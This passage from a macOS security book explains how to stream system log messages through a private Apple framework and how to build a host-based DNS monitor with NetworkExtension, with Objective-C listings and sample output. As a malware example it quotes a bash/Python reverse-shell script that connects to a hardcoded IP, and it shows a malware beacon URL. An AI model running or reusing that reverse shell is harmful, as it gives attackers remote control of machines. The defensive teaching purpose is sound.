@interface OSLogEventProxy : NSObject
    @property(readonly, nonatomic) NSString* process;
    @property(readonly, nonatomic) int processIdentifier;
    @property(readonly, nonatomic) NSString* processImagePath;
    ...
@end

Listing 6-3: The interface for the private OSLogEventLiveStream and OSLogEventProxy classes

Once we compile this code, we can execute it with a user-specified pred-
icate. For example, let’s monitor the log messages of the security subsystem, 
com.apple.securityd:

% ./logStream 'subsystem == "com.apple.securityd"'
New Log Message:
<OSLogEventProxy: 0x155804080, 0x0, 400, 1300, open(%s,0x%x,0x%x) = %d>
New Log Message:
<OSLogEventProxy: 0x155804080, 0x0, 400, 1300, %p is a thin file (%s)>
New Log Message:
<OSLogEventProxy: 0x155804080, 0x0, 400, 1300, %zd signing bytes in %d blob(s) from %s(%s)>
New Log Message:
<OSLogEventProxy: 0x155804080, 0x0, 400, 1009, network access disabled by policy>

Although we’re indeed capturing streaming log messages that match 
the specified predicate, the messages don’t appear all that useful at 
first glance. This is because our event handler simply prints out the 
OSLogEventProxy object via a call to its description method, which doesn’t 
include all components of the message.

Extracting Log Object Properties
To detect activity that could indicate the presence of malware, you’ll want 
to extract the OSLogEventProxy log method object’s properties. While disas-
sembling, we encountered several useful properties, such as the process 
ID, path, and message, but other interesting ones exist as well. Because 
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Objective-C is introspective, you can dynamically query any object, includ-
ing undocumented ones, to reveal its properties and values. This requires a 
foray into the bowels of the Objective-C runtime; nevertheless, you’ll find it 
useful to understand any undocumented classes you encounter, especially 
when leveraging Apple’s private frameworks.

Listing 6-4 is a simple function that accepts any Objective-C object, then 
prints out its properties and their values. It’s based on code by Pat Zearfoss.8

#import <objc/message.h> 1
#import <objc/runtime.h>

void inspectObject(id object) {
    unsigned int propertyCount = 0 ;
    objc_property_t* properties = class_copyPropertyList([object class], &propertyCount); 2

    for(unsigned int i = 0; i < propertyCount; i++) {
        NSString* name = [NSString stringWithUTF8String:property_getName(properties[i])]; 3

        printf("\n%s: ", [name UTF8String]);

        SEL sel = sel_registerName(name.UTF8String); 4
        const char* attr = property_getAttributes(properties[i]); 5

        switch(attr[1]) {
            case '@':
                printf("%s\n",
                [[((id (*)(id, SEL))objc_msgSend)(object, sel) description] UTF8String]);
                break;
            case 'i':
                printf("%i\n", ((int (*)(id, SEL))objc_msgSend)(object, sel));
                break;
            case 'f':
                printf("%f\n", ((float (*)(id, SEL))objc_msgSend)(object, sel));
                break;
            default:
                break;
        }
    }

    free(properties);
    return;
}

Listing 6-4: Introspecting the properties of an Objective-C object

First, the code imports the required Objective-C runtime header files 1. 
Then it invokes the class_copyPropertyList API to get an array and the count 
of the object’s properties 2. We iterate over this array to examine each prop-
erty, invoking the property_getName method to get the name of the property 3. 
Then the sel_registerName function retrieves a selector for the property 4. 
We’ll use the property selector later to retrieve the object’s value.
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Next, to determine the type of the property, we invoke the property  
_getAttributes method 5. This returns an array of attributes, with the 
property type as the second item (at index 1). The code handles common 
types such as Objective-C objects (@), integers (i), and floats (f). For each 
type, we invoke the objc_msgSend function on the object with the property’s 
selector to retrieve the property’s value.

If you look closely, you’ll see that the call to objc_msgSend is typecast 
appropriately for each property type. For a list of type encodings, see 
Apple’s “Type Encodings” developer documentation.9 To inspect Swift 
objects, use Swift’s Mirror API.10

In the log monitor code, we can now invoke the inspectObject func-
tion with each OSLogEventProxy object received from the logging subsystem 
(Listing 6-5).

NSPredicate* predicate = [NSPredicate predicateWithFormat:<some string predicate>];

[logMonitor start:predicate level:Log_Level_Debug eventHandler:
^(OSLogEventProxy* event) {
    inspectObject(event);
}];

Listing 6-5: Inspecting each log message, encapsulated in an OSLogEventProxy object

If we compile and execute the program, we should now receive a more 
comprehensive view of each log message. For example, by monitoring mes-
sages related to XProtect, the built-in antimalware scanner found on cer-
tain versions of macOS, we can observe its scan of an untrusted application:

% ./logStream 'subsystem == "com.apple.xprotect"'

New Log Message:

composedMessage: Starting malware scan for: /Volumes/Install/Install.app

logType: 1
timeZone: GMT-0700 (GMT-7) offset -25200
...
processIdentifier: 1374
process: XprotectService
processImagePath: /System/Library/PrivateFrameworks/XprotectFramework
.framework/Versions/A/XprotectService.xpc/Contents/MacOS/XprotectService
...
senderImagePath: /System/Library/PrivateFrameworks/XprotectFramework
.framework/Versions/A/XprotectService.xpc/Contents/MacOS/XprotectService
sender: XprotectService
...
subsystem: com.apple.xprotect
category: xprotect
...

The abridged output contains the properties of the OSLogEventProxy object 
most relevant to security tools. Table 6-1 summarizes these alphabetically. 
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As with many OSLogEventProxy object properties, you can use them in custom 
predicates.

Table 6-1: Security-Relevant OSLogEventProxy Properties

Property name Description

category The category used to log an event

composedMessage The contents of the log message

logType For logEvent and traceEvent, the message’s type (default, 
info, debug, error, or fault)

processIdentifier The process ID of the process that caused the event

processImagePath The full path of the process that caused the event

senderImagePath The full path of the library, framework, kernel extension,  
or Mach-O image that caused the event

subsystem The subsystem used to log an event

type The type of event (such as activityCreateEvent, activity 
TransitionEvent, or logEvent)

Determining Resource Consumption
It’s important to consider the potential resource impact of streaming log 
messages. If you take an overly consumptive approach, you can incur a sig-
nificant CPU cost and impact to the responsiveness of the system.

First, pay attention to the log level. Specifying the debug level will result 
in a significant increase in the number of log messages processed against 
any predicate. Although the predicate evaluation logic is very efficient, 
more messages mean more CPU cycles. Thus, a security tool that leverages 
the logging subsystem’s streaming capabilities should probably stick to con-
suming the default or info messages.

Equally important to efficiency is the predicate you use. Interestingly, 
my experiments have shown that the logging daemon wholly evaluates 
some predicates, while the logging subsystem frameworks loaded in client 
programs, such as the log monitor, handle others. The former is better; 
otherwise, the program will receive a copy of every single log message for 
predicate evaluation, which can chew up significant CPU cycles. If the log-
ging daemon performs the predicate evaluation, you’ll receive messages 
that match the predicate only, which won’t discernibly impact the system.

How can you craft a predicate that the logging daemon will evaluate? 
Trial and error have shown that if you specify a process or subsystem in a 
predicate, the daemon will evaluate it, meaning you’ll receive only log mes-
sages that match. Let’s look at a specific example from OverSight, a tool dis-
cussed in Chapter 12 that monitors the microphone and webcam.11

OverSight requires access to log messages from the core media I/O 
subsystem to identify the process accessing the webcam. At the start of the 
chapter, I noted that certain versions of macOS store this process ID in 
log messages from the core media I/O subsystem that contain the string 
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CMIOExtensionPropertyDeviceControlPID. Understandably, you might be tempted 
to craft a predicate that matches this string:

'composedMessage CONTAINS "CMIOExtensionPropertyDeviceControlPID"'

This predicate would lead to processing inefficiencies, however, as the 
logging daemon will send all messages that the logging frameworks loaded in 
our log monitor to perform the predicate filtering. Instead, OverSight lever-
ages a broader predicate that makes use of the subsystem property:

subsystem=='com.apple.cmio'

This approach causes the logging daemon to perform the predicate 
matching, then deliver only messages from the core media I/O subsystem. 
OverSight itself manually performs the check for the CMIOExtension Property 
Device ControlPID string:

if(YES == [logEvent .composedMessage
containsString:@"CMIOExtensionPropertyDeviceControlPID ="]) {
    // Extract the PID of the processes accessing the webcam.
}

The tool leverages a similar process to return log messages associated 
with mic access. As a result, it can effectively detect any process (including 
malware) attempting to use either the mic or webcam.

Conclusion
In this chapter, you saw how to use code to interface with the operating 
system’s universal logging subsystem. By reverse engineering the private 
LoggingSupport framework, we programmatically streamed messages match-
ing custom predicates and accessed the wealth of data found in the logging 
subsystem. Security tools could use this information to detect new infections 
or even uncover the malicious actions of persistently installed malware.

In the next chapter, you’ll write network monitoring logic using Apple’s 
powerful and well-documented network extensions.
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In this chapter, I’ll describe various 
approaches for monitoring network activ-

ity on macOS systems. I’ll start simple, by 
showing you how to regularly schedule network 

snapshots to obtain a near-continuous view of a host’s 
network activity. Next, you’ll dive deep into Apple’s 
NetworkExtension framework and APIs, which provide a  
means of customizing the operating system’s core net- 
working features and building comprehensive network 
monitoring tools. As an example, I’ll discuss leverag-
ing this powerful framework to build host-based DNS 
monitors and firewalls capable of filtering and blocking 
selected activity.

7
N E T W O R K  M O N I T O R I N G
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In Chapter 4, we generated a snapshot of a device’s network state at 
given moments. While this simple approach can efficiently detect a variety 
of malicious behaviors, it has several limitations. Most notably, if malware 
isn’t accessing the network at the exact time at which the snapshot is taken, 
it will remain undetected. For example, the malware leveraged in the 3CX 
supply chain attack beaconed only every hour or two.1 Unless the network 
snapshot was serendipitously scheduled, it would miss the malware’s 
network activity.

To overcome this shortcoming, we can continuously monitor the net-
work for signs of infections. The collected network data could help us build 
baselines of normal traffic over time and provide a corpus for input to a 
larger distributed threat hunting system. While these approaches can be 
more complex to implement than simple snapshot tools, the insight they 
provide into the network activity on a host makes them an invaluable com-
ponent of any comprehensive malware detection tool.

This book won’t cover using the framework for full packet captures, as 
capturing and processing this data would require significant resources, so it’s 
almost always best to perform these captures directly on the network, rather 
than on the host. Moreover, full packet captures are generally overkill for 
detecting malware. Often, simply identifying some unauthorized network 
activity, such as a listening socket or a connection to an unrecognized API 
endpoint, is sufficient to cast suspicion on a process (especially those that are 
unrecognized) and reveal an infection.

N O T E  To use the NetworkExtension framework tools, we must add the proper entitle-
ments, and we must build the code with provisioning profiles that authorize these 
entitlements at runtime. I won’t cover this process here, as the focus is on core concepts 
of working with the framework. Turn to Part III to learn how to obtain the necessary 
entitlements and create provisioning profiles.

Obtaining Regular Snapshots
One simple way to continuously monitor network activity is to repeatedly 
take snapshots of the current network state. For example, in Chapter 4, we 
used Apple’s nettop utility to display network information. When you run 
this tool, it appears to update the information whenever new connections 
appear. However, consulting the utility’s man page reveals that, behind 
the scenes, nettop does nothing more than obtain network snapshots at 
regular intervals. By default, it takes a snapshot every second, though you 
can change this interval with the -s command line option. Is this a true 
network monitor? No, but its approach is straightforward and, assuming the 
snapshots happen often, likely comprehensive enough to detect suspicious 
network activity.

To mimic nettop, we can capture a snapshot of the network activity 
using the NetworkStatistics framework, invoking its NStatManager Query All 
SourcesDescriptions API, as discussed in Chapter 4. Then we can simply rein-
voke the API at regular intervals. The code in Listing 7-1 does exactly this.
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dispatch_queue_t queue = dispatch_queue_create(NULL, NULL); 1
dispatch_source_t source = dispatch_source_create(DISPATCH_SOURCE_TYPE_TIMER, 0, 0, queue); 2

NSUInteger refreshRate = 10;

dispatch_source_set_timer(source, DISPATCH_TIME_NOW, refreshRate * NSEC_PER_SEC, 0); 3

dispatch_source_set_event_handler(source, ^{ 4
    NStatManagerQueryAllSourcesDescriptions(manager, ^{
        // Code here will execute when the query is complete.
    });
});

dispatch_resume(source); 5

Listing 7-1: Regularly capturing the network state

The code first creates a dispatch queue 1 and a dispatch source 2. 
Then it sets the start time and refresh rate for the dispatch source via the 
dispatch_source_set_timer API 3. For illustrative purposes, we specify a 
refresh rate of 10 seconds. The API call requires this rate in nanoseconds, 
so we multiply it by NSEC_PER_SEC, a system constant representing the number 
of nanoseconds in one second. Next, we create an event handler 4 that will 
reinvoke the NStatManagerQueryAllSourcesDescriptions API each time the dis-
patch source is refreshed. Finally, we invoke the dispatch_resume function 5 
to set the snapshot-based monitor in motion. Now, onto a continual monitor.

DNS Monitoring
Monitoring DNS traffic is an effective way to detect many types of malware. 
The idea is simple: regardless of how malware infects a victim’s machine, 
any connection it makes to a domain, such as its command-and-control 
server, will generate a DNS request and response. If we monitor DNS traffic 
directly on the host, we can do the following:

Identify new processes using the network    Anytime this activity 
occurs, you should closely examine the new process. Users frequently 
install new software that accesses the network for legitimate reasons, 
but if the item isn’t notarized or persists, for example, it could be 
malicious.

Extract the domain that the process is attempting to resolve    If the 
domain looks suspicious (perhaps because it’s hosted by an internet ser-
vice provider commonly leveraged by malicious actors), it could reveal 
the presence of malware. Also, saving these DNS requests provides a his-
torical record of system activity that you can query whenever the security 
community discovers new malware to see, albeit retroactively, whether 
you’ve been infected.

Detect malware abusing DNS as an exfiltration channel    As firewalls 
typically allow DNS traffic, malware can exfiltrate data through valid 
DNS requests.
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Monitoring just DNS traffic is a more efficient approach than monitoring 
all network activity, yet it still provides a way to uncover most malware. 
For example, take a look at a malicious updater component I discovered in 
early 2023.2 Dubbed iWebUpdater, this binary persistently installs itself to 
~/Library/Services/iWebUpdate. It then beacons to the domain iwebservicescloud 
.com to send information about the infected host and to download and install 
additional binaries. Within the malicious iWebUpdate binary, you can find this 
hardcoded domain at the address 0x10000f7c2:

0x000000010000f7c2  db  "https://iwebservicescloud.com/api/v0", 0

In its disassembly, you can see the malware references this address 
when it builds a URL whose parameters contain information about the 
infected host:

__snprintf_chk(var_38, var_30, 0x0, 0xffffffffffffffff, "%s%s?v=%d&c=%s&u=
%s&os=%s&hw=%s", "https://iwebservicescloud.com/api/v0", r13, 0x2, r12,
byte_100023f50, rcx, rax);

Then the malicious updater attempts to connect to the URL by leverag-
ing the curl API. Using the popular network monitoring tool Wireshark, we 
can observe the DNS request and resulting response (Figure 7-1).

Figure 7-1: A network capture of iWebUpdater resolving the IP address of its  
update server

Even though antivirus engines initially didn’t flag the binary as malicious, 
the iwebservicescloud.com domain has a long history of resolving to IP addresses 
associated with malicious actors. If we could tie the DNS data back to the 
iWebUpdate binary (which I’ll show how to do shortly), we could see that it 
originates from a persistently installed launch agent that isn’t signed. Shady!

For another example of the power of DNS monitoring, let’s consider the 
3CX supply chain attack more closely. Supply chain attacks are notoriously 
difficult to detect, and in this case, Apple inadvertently notarized the 
subverted 3CX installer. Although traditional antivirus software didn’t 
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 initially flag the application as malicious, security tools leveraging DNS 
monitoring capabilities quickly noticed that something was amiss and 
began alerting users, who flocked to the 3CX forums, posting messages 
such as “I had an alert come through . . . telling me that the 3CX Desktop 
App has been attempting to communicate with a ‘highly suspicious’ domain, 
likely to be actor controlled.”3

Could other heuristics have detected the attack? Possibly, but even 
Apple’s notarization system failed to notice it. Luckily, a DNS monitor pro-
vided a way to detect that the subverted application was communicating 
with a new and unusual domain, and mitigations soon limited what could 
have been a massively impactful and widespread cybersecurity event.

Of course, there are downsides to DNS monitoring. Most notably, it 
won’t help you detect malware that doesn’t resolve domains, such as simple 
backdoors that merely open listening sockets for remote connections, or 
those that directly connect to an IP address. Though such malware is rare, 
you’ll encounter it occasionally. For example, Dummy, the simple Mac mal-
ware mentioned previously, creates a reverse shell to a hardcoded IP address:

#!/bin/bash
while :
do
    python -c
        'import socket,subprocess,os;
        s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);
        s.connect(("185.243.115.230",1337));
        os.dup2(s.fileno(),0);
        os.dup2(s.fileno(),1);
        os.dup2(s.fileno(),2);
        p=subprocess.call(["/bin/sh","-i"]);'
    sleep 5
done

Connecting directly to an IP address doesn’t generate any DNS traffic, 
so a DNS monitor wouldn’t detect Dummy. In this case, you’d need a more 
comprehensive filter data provider that is capable of monitoring all traffic. 
Later in this chapter, I will show you how to build such a tool using the 
same framework and many of the same APIs used to build a simpler DNS 
monitor.

Using the NetworkExtension Framework
Monitoring network traffic on macOS used to require writing a network 
kernel extension. Apple has since deprecated this approach, along with all 
third-party kernel extensions, and introduced system extensions to replace 
it. System extensions run more safely in user mode and provide a modern 
mechanism to extend or enhance macOS functionality.4

To extend core networking features, Apple also introduced the user-mode 
NetworkExtension framework.5 By building system extensions that leverage 
this framework, you can achieve the same capabilities as the now-deprecated 
network kernel extensions, but from user mode. 
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System extensions are powerful, so Apple requires that you fulfill 
several prerequisites before you can deploy your extension:6

•	 You must package the extension in an application bundle’s Contents/
Library/SystemExtensions/ directory.

•	 The application containing the extension must be given the com.apple 
.developer.system-extension.install entitlement, and you must build it with a 
provisioning profile that provides the means to authorize the entitlement 
at runtime.

•	 The application containing the extension must be signed with an Apple 
developer ID, as well as notarized.

•	 The application containing the extension must be installed in an 
appropriate Applications directory.

•	 In unmanaged environments, macOS requires explicit user approval to 
load any system extension.

I’ll explain how to fulfill these requirements in Chapter 13. As I noted 
in the book’s introduction, you can turn off System Integrity Protection 
(SIP) and Apple Mobile File Integrity (AMFI) to sidestep some of them. 
However, disabling these protections significantly reduces the overall secu-
rity of the system, so I recommend doing so only within a virtual machine 
or on a system dedicated to development or testing.

Next, I will briefly cover how to programmatically install and load a 
system extension, then use the NetworkExtension framework to monitor DNS 
traffic. Here, relevant code snippets are provided, and you can find this 
code in its entirety in Objective-See’s open source DNSMonitor project, cov-
ered in detail in Chapter 13.7

N O T E  Several APIs mentioned in this section have recently been deprecated by Apple, for 
example, in macOS 15. However, at the time of this publication, they retain their 
functionality. If you’re developing for older versions of macOS, you’ll still want to use 
these APIs for compatibility. Additionally, some deprecated functions, such as those 
from Apple’s libresolv library, lack direct replacements, so it makes sense to continue 
using them where necessary.

Activating a System Extension
Apple requires you to place any system extension in an application bundle, so 
the code to install, or activate, a system extension must also live in the applica-
tion. Listing 7-2 shows how to programmatically activate such an extension.

#define EXT_BUNDLE_ID @″com.example.dnsmonitor.extension″ 

OSSystemExtensionRequest* request = [OSSystemExtensionRequest
activationRequestForExtension:EXT_BUNDLE_ID
queue:dispatch_get_global_queue(DISPATCH_QUEUE_PRIORITY_HIGH, 0)]; 1
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request.delegate = <object that conforms to the OSSystemExtensionRequestDelegate protocol>; 2

[OSSystemExtensionManager.sharedManager submitRequest:request]; 3

Listing 7-2: Installing a system extension

The application that contains an extension should first invoke the 
OSSystemExtensionRequest class’s activationRequestForExtension:queue: method 1,  
which creates a request to activate a system extension.8 The method takes 
the extension’s bundle ID and a dispatch queue, which it will use to call del-
egate methods. We must set a delegate 2 before we can submit the request 
to the system extension manager to trigger the activation 3.

Let’s talk about the delegate in a bit more detail. The OSSystemExtension 
Request object requires a delegate object, which should conform to the 
OSSystemExtensionRequestDelegate protocol and implement various delegate 
methods to handle callbacks that occur during the activation process, as 
well as success and failure cases. The operating system will automatically 
invoke these delegate methods during the process of activating the exten-
sion. Here is a brief overview of these required delegate methods, based on 
Apple’s documentation:9

requestNeedsUserApproval:    Invoked when the system has determined 
that it needs user approval before activating the extension

request:actionForReplacingExtension:withExtension:    Invoked when 
another version of the extension is already installed on the system

request:didFailWithError:    Invoked when the activation request has failed

request:didFinishWithResult:    Invoked when the activation request has 
completed

It’s important that your application implement these required delegate 
methods. Otherwise, it will crash when the system attempts to invoke them 
during the activation of your extension.

The good news is that implementing the methods doesn’t involve much. 
For example, the requestNeedsUserApproval: method can simply return, as can 
the request:didFailWithError: method (although you’ll likely want to use it to 
log error messages). The request:actionForReplacingExtension:withExtension: 
method can return a value of OSSystemExtensionReplacementActionReplace to tell 
the operating system to replace any old instances of the extension.

Once the user has approved the extension, the system will invoke the 
request:didFinishWithResult: delegate method. If the result passed into this 
method is OSSystemExtensionRequestCompleted, the extension has successfully 
activated. At this point, you can proceed to enable network monitoring.

Enabling the Monitoring
Assuming the system extension activated successfully, you can now instruct 
the system to begin routing all DNS traffic through the extension. A singleton 
NEDNSProxyManager object can enable this monitoring, as shown in Listing 7-3.
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#define EXT_BUNDLE_ID @"com.example.dnsmonitor.extension"

[NEDNSProxyManager.sharedManager loadFromPreferencesWithCompletionHandler:^(NSError*
_Nullable error) { 1
    NEDNSProxyManager.sharedManager.localizedDescription = @"DNS Monitor"; 2

    NEDNSProxyProviderProtocol* protocol = [[NEDNSProxyProviderProtocol alloc] init]; 3
    protocol.providerBundleIdentifier = EXT_BUNDLE_ID;
    NEDNSProxyManager.sharedManager.providerProtocol = protocol;

    NEDNSProxyManager.sharedManager.enabled = YES; 4

    [NEDNSProxyManager.sharedManager
    saveToPreferencesWithCompletionHandler:^(NSError* _Nullable error) { 5
        // If there is no error, the DNS proxy provider is running.
    }];
}];

Listing 7-3: Enabling DNS monitoring via an NEDNSProxyManager object

First, we must load the current DNS proxy configuration by calling the  
NEDNSProxyManager class’s shared manager loadFromPreferencesWithCompletion 
Handler: method 1. As its only argument, this method takes a block to 
invoke once the preferences have been loaded.

After invoking the callback, we can configure the preferences to 
enable the DNS monitor. First, we set a description 2 that will appear in the 
operating system’s System Settings application, which can display all active 
extensions. Then we allocate and initialize an NEDNSProxyProviderProtocol 
object with the bundle ID of our extension 3. Following this, we specify that 
we’re toggling the DNS monitor on by setting the NEDNSProxyManager object’s 
shared manager enabled instance variable to YES 4.

Finally, we invoke the shared manager’s saveToPreferencesWithCompletion 
Handler method to save the updated configuration information 5. Once we 
make this call, the system extension should be fully activated, and the oper-
ating system will begin proxying DNS traffic through it.

Writing the Extension
When we make a request to activate a system extension and toggle on a net-
work extension, the system will copy the extension from the application’s 
bundle into a secure, root-owned directory, /Library/SystemExtension. After 
verifying the extension, the system will load and execute it as a stand-alone 
process running with root privileges.

Now that we’ve activated the extension from within the application, 
let’s explore the code found in the extension itself. Listing 7-4 begins the 
extension.

int main(int argc, const char* argv[]) {
    [NEProvider startSystemExtensionMode];
    ...



Network Monitoring   163

    dispatch_main();
}

Listing 7-4: The network extension’s initialization logic

In the extension’s main function, we invoke the NEProvider startSystem 
ExtensionMode method to “start the Network Extension machinery.”10 I also 
recommend making a call to dispatch_main; otherwise, the main function will 
return, and your extension will exit.

Behind the scenes, the startSystemExtensionMode method will cause the 
NetworkExtension framework to instantiate the class specified under the 
NEProviderClasses key of the NetworkExtension dictionary in the extension’s 
Info.plist file:

<key>NetworkExtension</key>
<dict>
    ...
    <key>NEProviderClasses</key>
    <dict>
        <key>com.apple.networkextension.dns-proxy</key>
        <string>DNSProxyProvider</string>
    </dict>
</dict>

You must create this class, naming it whatever you’d like. Here, we’ve 
chosen the name DNSProxyProvider, and as we’re interested in proxying DNS 
traffic, we used the key value com.apple.networkextension.dns-proxy. This class 
must inherit from the NEProviderClass class or one of its subclasses, such as 
NEDNSProxyProvider:

@interface DNSProxyProvider : NEDNSProxyProvider
    ...
@end

Moreover, the class must implement relevant delegate methods that the 
NetworkExtension framework will call to, for example, handle DNS network 
events. These delegate methods include the following:

startProxyWithOptions:completionHandler:
stopProxyWithReason:completionHandler:
handleNewFlow:

The start and stop methods provide you with an opportunity to perform 
any necessary initialization or cleanup. You can learn more about them in 
the NEDNSProxyProvider.h file or in Apple’s developer documentation for 
the NEDNSProxyProvider class.11

The NetworkExtension framework will automatically invoke the handleNew 
Flow: delegate method to deliver the network data, so this method should 
contain the DNS monitor’s core logic. The method gets invoked with a flow, 
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which represents a unit of network data transferred between a source and 
destination.

The NEAppProxyFlow objects encapsulate flows passed to handleNewFlow: to 
provide an interface for the network data. Because DNS traffic generally 
travels over UDP, this example focuses solely on UDP flows, whose type is 
NEAppProxyUDPFlow, a subclass of NEAppProxyFlow. In Chapter 13, I’ll go through 
the steps of proxying UDP traffic in detail, but for now, we’ll just consider 
the process of interacting with DNS packets.

Parsing DNS Requests

We can read from an NEAppProxyUDPFlow flow object to obtain a list of data-
grams for a specific DNS request (or question, in DNS parlance). Each data-
gram is stored in an NSData object; Listing 7-5 parses and prints these out.

#import <dns_util.h>
... 

[flow readDatagramsWithCompletionHandler:^(
NSArray* datagrams, NSArray* endpoints, NSError* error) {
    for(int i = 0; i < datagrams.count; i++)  {
        NSData* packet = datagrams[i];

        dns_reply_t* parsedPacket = dns_parse_packet(packet.bytes, (uint32_t)packet.length); 1
        dns_print_reply(parsedPacket, stdout, 0xFFFF); 2
        ...
        dns_free_reply(parsedPacket); 3
    }
    ...
}];

Listing 7-5: Reading and then parsing DNS datagrams

We parse the packet via the dns_parse_packet function 1, found in Apple’s 
libresolv library. We then print out the packet via a call to the dns_print_reply 
function 2. Finally, we free it via the dns_free_reply function 3.

Of course, you’ll likely want your program to examine the DNS request 
rather than just print it out. You can inspect the parsed DNS record 
returned by the dns_parse_packet function, which has the type dns_reply_t. 
For example, Listing 7-6 shows how to access the request’s fully qualified 
domain name (FQDN).

NSMutableArray* questions = [NSMutableArray array];

for(uint16_t i = 0; i < parsedPacket->header->qdcount; i++) { 1
    NSMutableDictionary* details = [NSMutableDictionary dictionary];
    dns_question_t* question = parsedPacket->question[i];

    details[@"Question Name"] =
    [NSString stringWithUTF8String:question->name]; 2

    details[@"Question Class"] =
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    [NSString stringWithUTF8String:dns_class_string(question->dnsclass)];

    details[@"Question Type"] =
    [NSString stringWithUTF8String:dns_type_string(question->dnstype)];

    [questions addObject:details]; 3
}

Listing 7-6: Extracting members of interest from a parsed DNS request

We make use of the qdcount and question members of the DNS packet to 
iterate over every question 1. For each question, we extract its name (the 
domain to resolve) 2, its class, and its type; convert them into strings (via 
Apple’s dns_class_string); and save them into a dictionary object. Finally, we 
save the dictionary of extracted details for each question to an array 3.

Now, if you perform a query via nslookup, for example, to objective-see.org, 
the DNS monitor code will capture the request:

# /Applications/DNSMonitor.app/Contents/MacOS/DNSMonitor
{
  "Process" : {
    "processPath" : "\/usr\/bin\/nslookup",
    "processSigningID" : "com.apple.nslookup",
    "processID" : 5295
  },
  "Packet" : {
    "Opcode" : "Standard",
    "QR" : "Query",
    "Questions" : [
      {
        "Question Name" : "objective-see.org",
        "Question Class" : "IN",
        "Question Type" : "A"
      }
    ],
    "RA" : "No recursion available",
    "Rcode" : "No error",
    "RD" : "Recursion desired",
    "XID" : 36565,
    "TC" : "Non-Truncated",
    "AA" : "Non-Authoritative"
  }
}

Next, we’ll handle DNS responses (called answers).

Parsing DNS Responses

A DNS monitor that leverages the NEDNSProxyProvider class is essentially a 
proxy, proxying both local requests and remote responses. This means that 
we must read the DNS request of the local flow, and then open a remote and 
send the request to its destination. To access any response, we read data from 
the remote endpoint using the nw_connection_receive API. Listing 7-7 invokes 
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this API on the remote endpoint, then invokes the dns_parse_packet within its 
callback block to parse the response.

nw_connection_receive(connection, 1, UINT32_MAX,
^(dispatch_data_t content, nw_content_context_t context,
bool is_complete, nw_error_t receive_error) {
    NSData* packet = (NSData*)content;
    dns_reply_t* parsedPacket =
    dns_parse_packet(packet.bytes, (uint32_t)packet.length);

    dns_free_reply(parsedPacket);
    ...
});

Listing 7-7: Receiving and parsing DNS responses

Although we could just print out the response using the dns_print_reply 
function, let’s instead extract the answers. You’ll notice that this code, 
shown in Listing 7-8, is similar to the snippet that extracted the questions.

NSMutableArray* answers = [NSMutableArray array];

for(uint16_t i = 0; i < parsedPacket->header->ancount; i++) { 1
    NSMutableDictionary* details = [NSMutableDictionary dictionary];
    dns_resource_record_t* answer = parsedPacket->answer[i]; 2

    details[@"Answer Name"] = [NSString stringWithUTF8String:answer->name];
    details[@"Answer Class"] = [NSString stringWithUTF8String:dns_class_string(answer->
    dnsclass)];
    details[@"Answer Type"] = [NSString stringWithUTF8String:dns_type_string(answer->dnstype)];
    switch(answer->dnstype) { 3
        case ns_t_a: 4
            details[@"Host Address"] = [NSString stringWithUTF8String:inet_ntoa(answer->
            data.A->addr)]; 5
            break;
        ...
    }
    [answers addObject:details];
}

Listing 7-8: Extracting members of interest from a parsed DNS response

Here, however, we access the ancount 1 and answer members 2 and then 
must add additional logic to extract the response’s contents. For example, 
we examine its type 3 and, if it’s an IPv4 address (ns_t_a) 4, convert it via 
the inet_ntoa function 5.

If we run Objective-See’s DNSMonitor, which contains this code and 
has received the appropriate entitlement and notarization, we can see that 
it will capture the answer to our previous objective-see.org lookup:

# /Applications/DNSMonitor.app/Contents/MacOS/DNSMonitor
{
  "Process" : {
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    "processPath" : "\/usr\/bin\/nslookup",
    "processSigningID" : "com.apple.nslookup",
    "processID" : 51021
  },
  "Packet" : {
    "Opcode" : "Standard",
    "QR" : "Reply",
    "Questions" : [
       {
        "Question Name" : "objective-see.org",
        "Question Class" : "IN",
        "Question Type" : "A"
       }
    ],
    "Answers" : [
      {
        "Name" : "objective-see.org",
        "Type" : "IN",
        "Host Address" : "185.199.110.153",
        "Class" : "IN"
      },
      {
        "Name" : "objective-see.org",
        "Type" : "IN",
        "Host Address" : "185.199.109.153",
        "Class" : "IN"
      },
      ...
    ],
    ...
  }
}

The packet type is a reply containing the original question and the 
answers. We also learn that the domain objective-see.org maps to multiple IP  
addresses. When run against actual malware, this information can be incred- 
ibly useful. Take the aforementioned iWebUpdater as an example. When it 
connects to iwebservicescloud.com, it generates a DNS request and reply:

# /Applications/DNSMonitor.app/Contents/MacOS/DNSMonitor
 {
  "Process" : {
    ″processPath” : “\/Users\/user\/Library\/Services\/iWebUpdate″,
    ″processSigningID″ : nil,
    "processID" : 51304
   },
  "Packet" : {
    "Opcode" : "Standard",
    "QR" : "Query",
    "Questions" : [
      {
        "Question Name" : "iwebservicescloud.com",
        "Question Class" : "IN",
        "Question Type" : "A"
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      }
    ],
    ...
  }
},{
  "Process" : {
    "processPath" : "\/Users\/user\/Library\/Services\/iWebUpdate",
    "processSigningID" : nil,
    "processID" : 51304
  },
  "Packet" : {
    "Opcode" : "Standard",
    "QR" : "Reply",
    "Questions" : [
      {
        "Question Name" : "iwebservicescloud.com",
        "Question Class" : "IN",
        "Question Type" : "A    "
      }
    ],
    "Answers" : [
      {
        "Name" : "iwebservicescloud.com",
        "Type" : "IN",
        "Host Address" : "173.231.184.122",
        "Class" : "IN"
      }
    ],
    ...
  }
}

The DNS monitoring code is able to detect both the resolution request 
and reply. Passing either of these into an external threat intelligence plat-
form such as VirusTotal should reveal that the domain has a history of 
resolving to IP addresses associated with malicious activity (including the 
specific IP address it resolved to here).

The astute reader may have noticed that the output also identified 
iWebUpdater as the process responsible for making this request. Let’s see 
how to do this now.

Identifying the Responsible Process

Identifying the process responsible for a DNS request is essential to detect-
ing malware, yet DNS monitors that aren’t host-based can’t provide this 
information. For example, requests from trusted system processes are likely 
safe, while requests from, say, a persistent, unnotarized process such as 
 iWebUpdate should be closely scrutinized.

Now I’ll show you how to obtain the ID of the responsible process 
using information provided by the NetworkExtension framework. The flow 
object passed into the extension via the handleNewFlow: delegate method 
contains an instance variable named metaData whose type is NEFlowMetaData. 
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Consulting the NEFlowMetaData.h file (found in NetworkExtension.framework/
Versions/A/Headers/) reveals that it contains a property named sourceApp 
AuditToken with the responsible process’s audit token.

From this audit token, we can extract the responsible process’s ID and 
securely obtain its path using SecCode* APIs. Listing 7-9 implements this 
technique.

CFURLRef path = NULL;
SecCodeRef code = NULL; 
audit_token_t* auditToken = (audit_token_t*)flow.metaData.sourceAppAuditToken.bytes; 1

